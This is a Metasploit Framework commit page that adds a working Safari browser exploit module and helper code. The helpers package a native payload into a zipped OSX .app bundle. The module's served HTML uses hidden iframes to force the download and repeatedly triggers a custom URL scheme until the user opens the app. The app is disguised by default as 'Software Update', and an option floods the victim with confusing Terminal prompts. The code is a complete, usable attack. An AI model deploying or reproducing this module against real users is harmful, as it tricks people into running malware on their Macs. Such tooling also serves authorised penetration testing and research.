Skip to content

Commit c76a1ab

Browse files
committed
Land rapid7#3065 - Safari User-Assisted Download & Run Attack
2 parents ebee365 + 9638bc7 commit c76a1ab

File tree

3 files changed

+219
-1
lines changed

3 files changed

+219
-1
lines changed

lib/msf/util/exe.rb

Lines changed: 45 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -627,6 +627,48 @@ def self.to_osx_x64_macho(framework, code, opts={})
627627
return macho
628628
end
629629

630+
# @param [Hash] opts the options hash
631+
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
632+
# @option opts [String] :app_name (random) the name of the OSX app
633+
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
634+
# @return [String] zip archive containing an OSX .app directory
635+
def self.to_osx_app(exe, opts={})
636+
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
637+
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
638+
plist_extra = opts[:plist_extra] || ''
639+
640+
app_name.chomp!(".app")
641+
app_name += ".app"
642+
643+
info_plist = %Q|
644+
<?xml version="1.0" encoding="UTF-8"?>
645+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
646+
<plist version="1.0">
647+
<dict>
648+
<key>CFBundleExecutable</key>
649+
<string>#{exe_name}</string>
650+
<key>CFBundleIdentifier</key>
651+
<string>com.#{exe_name}.app</string>
652+
<key>CFBundleName</key>
653+
<string>#{exe_name}</string>
654+
<key>CFBundlePackageType</key>
655+
<string>APPL</string>
656+
#{plist_extra}
657+
</dict>
658+
</plist>
659+
|
660+
661+
zip = Rex::Zip::Archive.new
662+
zip.add_file("#{app_name}/", '')
663+
zip.add_file("#{app_name}/Contents/", '')
664+
zip.add_file("#{app_name}/Contents/MacOS/", '')
665+
zip.add_file("#{app_name}/Contents/Resources/", '')
666+
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
667+
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
668+
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
669+
zip.pack
670+
end
671+
630672
# Create an ELF executable containing the payload provided in +code+
631673
#
632674
# For the default template, this method just appends the payload, checks if
@@ -1727,14 +1769,15 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
17271769
end
17281770
end
17291771

1730-
when 'macho'
1772+
when 'macho', 'osx-app'
17311773
output = case arch
17321774
when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
17331775
when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts)
17341776
when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts)
17351777
when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts)
17361778
when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts)
17371779
end
1780+
output = Msf::Util::EXE.to_osx_app(output) if fmt == 'osx-app'
17381781

17391782
when 'vba'
17401783
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
@@ -1787,6 +1830,7 @@ def self.to_executable_fmt_formats
17871830
"macho",
17881831
"msi",
17891832
"msi-nouac",
1833+
"osx-app",
17901834
"psh",
17911835
"psh-net",
17921836
"psh-reflection",

lib/rex/zip/archive.rb

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,21 @@ def initialize(compmeth=CM_DEFLATE)
1717
@entries = []
1818
end
1919

20+
#
21+
# Recursively adds a directory of files into the archive.
22+
#
23+
def add_r(dir)
24+
path = File.dirname(dir)
25+
Dir[File.join(dir, "**", "**")].each do |file|
26+
relative = file.sub(/^#{path.chomp('/')}\//, '')
27+
if File.directory?(file)
28+
@entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil)
29+
else
30+
contents = File.read(file, :mode => 'rb')
31+
@entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil)
32+
end
33+
end
34+
end
2035

2136
#
2237
# Create a new Entry and add it to the archive.
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ManualRanking
12+
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::Remote::BrowserExploitServer
15+
16+
# Note: might be nicer to do this with mounted FTP share, since we can
17+
# unmount after the attack and not leave a trace on user's machine.
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Safari User-Assisted Download & Run Attack',
21+
'Description' => %q{
22+
This module abuses some Safari functionality to force the download of a
23+
zipped .app OSX application containing our payload. The app is then
24+
invoked using a custom URL scheme. At this point, the user is presented
25+
with Gatekeeper's prompt:
26+
27+
"APP_NAME" is an application downloaded from the internet. Are you sure you
28+
want to open it?
29+
30+
If the user clicks "Open", the app and its payload are executed.
31+
32+
If the user has the "Only allow applications downloaded from Mac App Store
33+
and identified developers (on by default on OS 10.8+), the user will see
34+
an error dialog containing "can't be opened because it is from an unidentified
35+
developer." To work around this issue, you will need to manually build and sign
36+
an OSX app containing your payload with a custom URL handler called "openurl".
37+
38+
You can put newlines & unicode in your APP_NAME, although you must be careful not
39+
to create a prompt that is too tall, or the user will not be able to click
40+
the buttons, and will have to either logout or kill the CoreServicesUIAgent
41+
process.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Targets' =>
45+
[
46+
[ 'Mac OS X x86 (Native Payload)',
47+
{
48+
'Platform' => 'osx',
49+
'Arch' => ARCH_X86,
50+
}
51+
],
52+
[ 'Mac OS X x64 (Native Payload)',
53+
{
54+
'Platform' => 'osx',
55+
'Arch' => ARCH_X64,
56+
}
57+
]
58+
],
59+
'DefaultTarget' => 0,
60+
'Author' => [ 'joev' ],
61+
'BrowserRequirements' => {
62+
:source => 'script',
63+
:ua_name => HttpClients::SAFARI,
64+
:os_name => OperatingSystems::MAC_OSX,
65+
66+
# On 10.6.8 (Safari 5.x), a dialog never appears unless the user
67+
# has already manually launched the dropped exe
68+
:ua_ver => lambda { |ver| ver.to_i != 5 }
69+
}
70+
))
71+
72+
register_options([
73+
OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]),
74+
OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]),
75+
OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]),
76+
OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]),
77+
OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]),
78+
OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]),
79+
OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"])
80+
], self.class)
81+
end
82+
83+
def on_request_exploit(cli, request, profile)
84+
if request.uri =~ /\.zip/
85+
print_status("Sending .zip containing app.")
86+
seed = request.qstring['seed'].to_i
87+
send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' })
88+
else
89+
# send initial HTML page
90+
print_status("Sending #{self.name}")
91+
send_response_html(cli, generate_html)
92+
end
93+
handler(cli)
94+
end
95+
96+
def generate_html
97+
%Q|
98+
<html><body>
99+
#{datastore['CONTENT']}
100+
<iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
101+
</iframe>
102+
<iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
103+
</iframe>
104+
<script>
105+
(function() {
106+
var r = parseInt(Math.random() * 9999999);
107+
if (#{datastore['SIGNED_APP'].present?}) r = '';
108+
var f = document.getElementById('f');
109+
var f2 = document.getElementById('f2');
110+
f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r;
111+
window.setTimeout(function(){
112+
var go = function() { f.src = "openurl"+r+"://a"; };
113+
go();
114+
if (#{datastore['LOOP']}) {
115+
window.setInterval(go, #{datastore['LOOP_DELAY']});
116+
};
117+
}, #{datastore['DELAY']});
118+
if (#{datastore['CONFUSE']}) {
119+
var w = 0;
120+
var ivl = window.setInterval(function(){
121+
f2.src = 'ssh://ssh@ssh';
122+
if (w++ > 200) clearInterval(ivl);
123+
}, #{datastore['LOOP_DELAY']});
124+
}
125+
})();
126+
</script>
127+
</body></html>
128+
|
129+
end
130+
131+
def app_zip(seed)
132+
if datastore['SIGNED_APP'].present?
133+
print_status "Zipping custom app bundle..."
134+
zip = Rex::Zip::Archive.new
135+
zip.add_r(datastore['SIGNED_APP'])
136+
zip.pack
137+
else
138+
plist_extra = %Q|
139+
<key>CFBundleURLTypes</key>
140+
<array>
141+
<dict>
142+
<key>CFBundleURLName</key>
143+
<string>Local File</string>
144+
<key>CFBundleURLSchemes</key>
145+
<array>
146+
<string>openurl#{seed}</string>
147+
</array>
148+
</dict>
149+
</array>
150+
|
151+
152+
my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])
153+
Msf::Util::EXE.to_osx_app(my_payload,
154+
:app_name => datastore['APP_NAME'],
155+
:plist_extra => plist_extra
156+
)
157+
end
158+
end
159+
end

0 commit comments

Comments
 (0)